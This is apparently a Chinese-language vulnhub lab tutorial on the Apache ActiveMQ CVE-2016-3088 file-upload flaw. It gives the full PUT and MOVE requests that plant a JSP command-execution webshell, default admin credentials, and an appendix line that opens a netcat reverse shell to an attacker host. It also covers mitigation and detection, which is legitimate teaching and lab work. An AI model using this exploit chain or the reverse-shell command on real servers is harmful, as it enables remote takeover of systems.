vulnhub2-activeMQ(CVE-2016-3088)
字数 1442 2025-08-11 17:40:05

Apache ActiveMQ CVE-2016-3088 漏洞分析与利用教学文档

1. 漏洞概述

漏洞编号: CVE-2016-3088
影响版本: Apache ActiveMQ 5.x ~ 5.14.0
漏洞类型: 文件上传漏洞
CVSS评分: 9.8 (Critical)
漏洞描述: Apache ActiveMQ Fileserver 功能存在安全漏洞,允许攻击者通过HTTP PUT方法上传恶意文件,然后通过MOVE方法将文件移动到可执行目录,最终导致远程代码执行。

2. 环境搭建

2.1 靶场准备

  • 下载受影响版本的ActiveMQ (5.x ~ 5.14.0)
  • 安装Java运行环境
  • 启动ActiveMQ服务

2.2 验证安装

访问管理界面确认版本:

http://[目标IP]:8161/admin/index.jsp?printable=true

默认凭证: admin/admin

3. 漏洞复现步骤

3.1 信息收集

  1. 确认ActiveMQ版本在受影响范围内
  2. 验证Fileserver功能是否可用

3.2 漏洞利用流程

步骤1: 上传WebShell

使用HTTP PUT方法上传JSP Webshell到Fileserver目录:

PUT /fileserver/shell.txt HTTP/1.1
Host: [目标IP]:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: [内容长度]

<%@ page import="java.io.*"%>
<%
out.print("Hello</br>");
String strcmd=request.getParameter("cmd");
String line=null;
Process p=Runtime.getRuntime().exec(strcmd);
BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
while((line=br.readLine())!=null){
out.print(line+"</br>");
}
%>

步骤2: 移动WebShell到可执行目录

使用MOVE方法将上传的文件移动到Web应用目录:

MOVE /fileserver/shell.txt HTTP/1.1
Destination: file:///opt/activemq/webapps/api/shell.jsp
Host: [目标IP]:8161
Authorization: Basic YWRtaW46YWRtaW4=
Content-Length: [内容长度]

[与PUT请求相同的JSP内容]

步骤3: 访问WebShell执行命令

通过浏览器或curl访问上传的WebShell并执行命令:

http://[目标IP]:8161/api/shell.jsp?cmd=whoami

3.3 高级利用技巧

  1. 获取绝对路径: 通过错误信息或特定请求获取服务器文件系统路径
  2. 上传大马: 在初步获得WebShell后,可上传功能更强大的Web管理工具
  3. 权限提升: 根据服务器配置,尝试从Web用户权限提升至更高权限

4. 漏洞原理分析

4.1 技术细节

  • Fileserver功能: ActiveMQ默认开启Fileserver功能,允许通过HTTP协议进行文件操作
  • PUT方法漏洞: 未对上传文件类型和内容进行严格过滤
  • MOVE方法滥用: 通过Destination头可指定任意目标路径,包括Web应用目录
  • 认证绕过: 部分版本存在弱认证或认证绕过问题

4.2 攻击面

  • 远程代码执行(RCE)
  • 服务器完全控制
  • 内网横向移动

5. 修复建议

5.1 官方解决方案

  1. 升级版本: 升级至ActiveMQ 5.14.0或更高版本(该版本已移除Fileserver功能)
  2. 应用补丁: 应用官方提供的安全补丁
    http://activemq.apache.org/security-advisories.data/CVE-2016-3088-announcement.txt
    

5.2 临时缓解措施

  1. 禁用Fileserver: 通过修改conf/jetty.xml配置文件,移除或注释Fileserver相关配置
  2. 强化认证: 修改默认凭证,启用强认证机制
  3. 网络隔离: 限制ActiveMQ管理界面的访问来源
  4. 文件权限控制: 严格限制Web应用目录的写入权限

6. 防御检测

6.1 防御措施

  • 实施最小权限原则
  • 定期更新和补丁管理
  • 启用Web应用防火墙(WAF)规则
  • 监控异常文件操作请求

6.2 检测方法

  • 检查日志中异常的PUT/MOVE请求
  • 监控Web目录下新增的.jsp文件
  • 使用漏洞扫描工具检测

7. 参考资源

  • ActiveMQ官方安全公告
  • CVE官方描述
  • 漏洞利用PoC代码库

附录: 常用命令参考

  1. 检查ActiveMQ版本:
curl -v "http://[目标IP]:8161/admin/index.jsp?printable=true"
  1. 基础认证生成(Base64编码):
echo -n "admin:admin" | base64
  1. Webshell常用命令:
  • 查看当前用户: cmd=whoami
  • 列出目录: cmd=ls -al
  • 获取反向shell: cmd=nc -e /bin/sh [攻击者IP] [端口]
Apache ActiveMQ CVE-2016-3088 漏洞分析与利用教学文档 1. 漏洞概述 漏洞编号 : CVE-2016-3088 影响版本 : Apache ActiveMQ 5.x ~ 5.14.0 漏洞类型 : 文件上传漏洞 CVSS评分 : 9.8 (Critical) 漏洞描述 : Apache ActiveMQ Fileserver 功能存在安全漏洞,允许攻击者通过HTTP PUT方法上传恶意文件,然后通过MOVE方法将文件移动到可执行目录,最终导致远程代码执行。 2. 环境搭建 2.1 靶场准备 下载受影响版本的ActiveMQ (5.x ~ 5.14.0) 安装Java运行环境 启动ActiveMQ服务 2.2 验证安装 访问管理界面确认版本: 默认凭证: admin/admin 3. 漏洞复现步骤 3.1 信息收集 确认ActiveMQ版本在受影响范围内 验证Fileserver功能是否可用 3.2 漏洞利用流程 步骤1: 上传WebShell 使用HTTP PUT方法上传JSP Webshell到Fileserver目录: 步骤2: 移动WebShell到可执行目录 使用MOVE方法将上传的文件移动到Web应用目录: 步骤3: 访问WebShell执行命令 通过浏览器或curl访问上传的WebShell并执行命令: 3.3 高级利用技巧 获取绝对路径 : 通过错误信息或特定请求获取服务器文件系统路径 上传大马 : 在初步获得WebShell后,可上传功能更强大的Web管理工具 权限提升 : 根据服务器配置,尝试从Web用户权限提升至更高权限 4. 漏洞原理分析 4.1 技术细节 Fileserver功能 : ActiveMQ默认开启Fileserver功能,允许通过HTTP协议进行文件操作 PUT方法漏洞 : 未对上传文件类型和内容进行严格过滤 MOVE方法滥用 : 通过Destination头可指定任意目标路径,包括Web应用目录 认证绕过 : 部分版本存在弱认证或认证绕过问题 4.2 攻击面 远程代码执行(RCE) 服务器完全控制 内网横向移动 5. 修复建议 5.1 官方解决方案 升级版本 : 升级至ActiveMQ 5.14.0或更高版本(该版本已移除Fileserver功能) 应用补丁 : 应用官方提供的安全补丁 5.2 临时缓解措施 禁用Fileserver : 通过修改 conf/jetty.xml 配置文件,移除或注释Fileserver相关配置 强化认证 : 修改默认凭证,启用强认证机制 网络隔离 : 限制ActiveMQ管理界面的访问来源 文件权限控制 : 严格限制Web应用目录的写入权限 6. 防御检测 6.1 防御措施 实施最小权限原则 定期更新和补丁管理 启用Web应用防火墙(WAF)规则 监控异常文件操作请求 6.2 检测方法 检查日志中异常的PUT/MOVE请求 监控Web目录下新增的.jsp文件 使用漏洞扫描工具检测 7. 参考资源 ActiveMQ官方安全公告 CVE官方描述 漏洞利用PoC代码库 附录: 常用命令参考 检查ActiveMQ版本: 基础认证生成(Base64编码): Webshell常用命令: 查看当前用户: cmd=whoami 列出目录: cmd=ls -al 获取反向shell: cmd=nc -e /bin/sh [攻击者IP] [端口]